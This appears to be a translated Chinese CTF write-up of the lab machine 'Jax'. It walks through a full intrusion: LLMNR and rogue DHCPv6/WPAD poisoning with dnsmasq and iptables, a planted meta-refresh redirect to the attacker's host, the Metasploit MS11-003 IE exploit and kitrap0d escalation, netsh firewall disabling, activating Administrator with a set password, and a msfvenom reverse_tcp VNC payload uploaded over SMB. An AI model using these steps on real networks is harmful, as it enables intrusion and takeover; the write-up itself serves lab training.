导语:一次CTF夺旗战的总结

机器名为“Jax”的IP地址:10.42.0.152

$ nmap -sV 10.42.0.153
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 7.5

这台机器只开放了从外部可见的IIS服务。使用Seclists字典里几乎所有的文件路径模糊测试后,没有任何新的发现。

如果我们打开Wireshark,则会出现一些Jax广播的通信流量,例如LLMNR,NBT-NS和DHCPv6请求。

使用Responder工具,我们可以尝试发起LLMNR和NBT-NS中毒请求,但是这也不会为我们获得任何SMB或HTTP连接。

image.png

我们尝试使用dnsmasq挂载一个DHCPv6服务,并在我们的机器上启用ip转发。

$ ifconfig tap0 inet6 add 1234::1/64
$ cat dnsmasq.conf
bogus-priv
interface=tap0
dhcp-range=::100,::1ff,constructor:em1
enable-ra
dhcp-option=option6:dns-server,[1234::1]
log-queries
log-dhcp
$ sysctl -w net.ipv6.conf.all.forwarding=1
$ sysctl -w net.ipv4.ip_forward=1
$ iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

在不到一分钟的时间内,Jax这台机器发送了一个DHCPv6请求,并分配给了1234 :: 26b这个ip。

image.png

需要等待很长一段时间后才会出现一个针对WPAD的LLMNR广播请求流量,这可以使我们能够获得Ihacklabs这个用户的 NetNTLMv2哈希,并且从那个时候可以获取所有的HTTP流量。破解这个哈希后得到的结果是一个空的密码。

image.png

在Wireshark截获的流量中,在一个HTTP流量中出现了比较特殊的请求

http://10.42.0.153/wordpress/cepheus.html

image.png

虽然我以这种方式发现了这个HTTP请求,但是要比在Jax这台机器上执行ARP中毒攻击来拦截所有的流量要容易得多。

文件cepheus.html位于我们之前已经获得访问权限的Sammy机器中,但在无法访问此机器的情况下,响应内容可能已经使用WPAD代理或ARP中毒进行了修改。

如果我们查看Sammy中的Apache日志,我们会看到每5分钟就会发出一次请求,另外User-Agent对应于Windows 7中的Internet Explorer 8.

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)

我们修改文件来执行重定向将请求转发到我们的机器上。

<meta http-equiv="refresh" content="0;URL='http://10.41.0.201/'" />

在metasploit中有一些针对Internet Explorer 8浏览器的漏洞,其中有很多需要在目标机器上安装Java,所以我们可以放弃这类攻击向量。最适合我们场景的应该是“MS11-003 Microsoft Internet Explorer CSS递归导入UAF漏洞”,如果你看过这个漏洞的描述,你会发现这个漏洞需要.NET 2.0.50727这个版本,该版本与User-Agent中的是一样的。

描述:
这个模块利用了微软的HTML引擎(mshtml)内的内存损坏漏洞。在解析包含递归CSS导入的HTML页面时,将删除一个c++对象并随后重用。这导致了任意代码的执行。这个Exp利用了堆喷技术并组合使用.NET 2.0的mscorie.dll模块绕过DEP和ASLR。此模块的选项没有加入ASLR。因此,该模块应该在安装了.net 2.0.50727的所有Windows版本上都是可靠的。

漏洞利用

use exploit/windows/browser/ms11_003_ie_css_import

image.png

一旦对方访问了我们修改后的页面,我们就可以读取到Ihacklabs这个用户桌面上的Flag。

image.png

权限提升

use exploit/windows/local/ms10_015_kitrap0d

image.png

禁用防火墙

我们禁用防火墙可以使我们能够远程访问该机器。

netsh firewall set opmode mode=disable

激活 “管理员” 用户

激活管理员用户并更改密码。

net user Administrator Patatas123 /active:yes

使用winexe访问

现在我们不会依赖漏洞来访问机器了,以免丢失连接。 

image.png

启用RDP

试图启用RDP服务,但由于它是Windows Home许可证,所以此服务不可用。

由VNC访问

我们生成一个可执行文件并通过SMB上传。一旦我们上传这个可执行文件,我们执行它后就可以在Jax这台机器中获得一个VNC会话。

$ msfvenom  -p windows/vncinject/reverse_tcp LHOST=10.42.0.201 LPORT=4445 -f exe > vnc.exe
$ smbclient '//10.42.0.152/C$' -U 'administrator%Patatas123'
put vnc.exe

image.png

VirtualBox

利用测试非常简单,包括了使用VirtualBox访问虚拟机并修改grub来获取控制台读取Flag。

linux .... init=/bin/bash

image.png

Jax机器的一些信息

image.png

image.png

image.png

源链接

Hacking more

...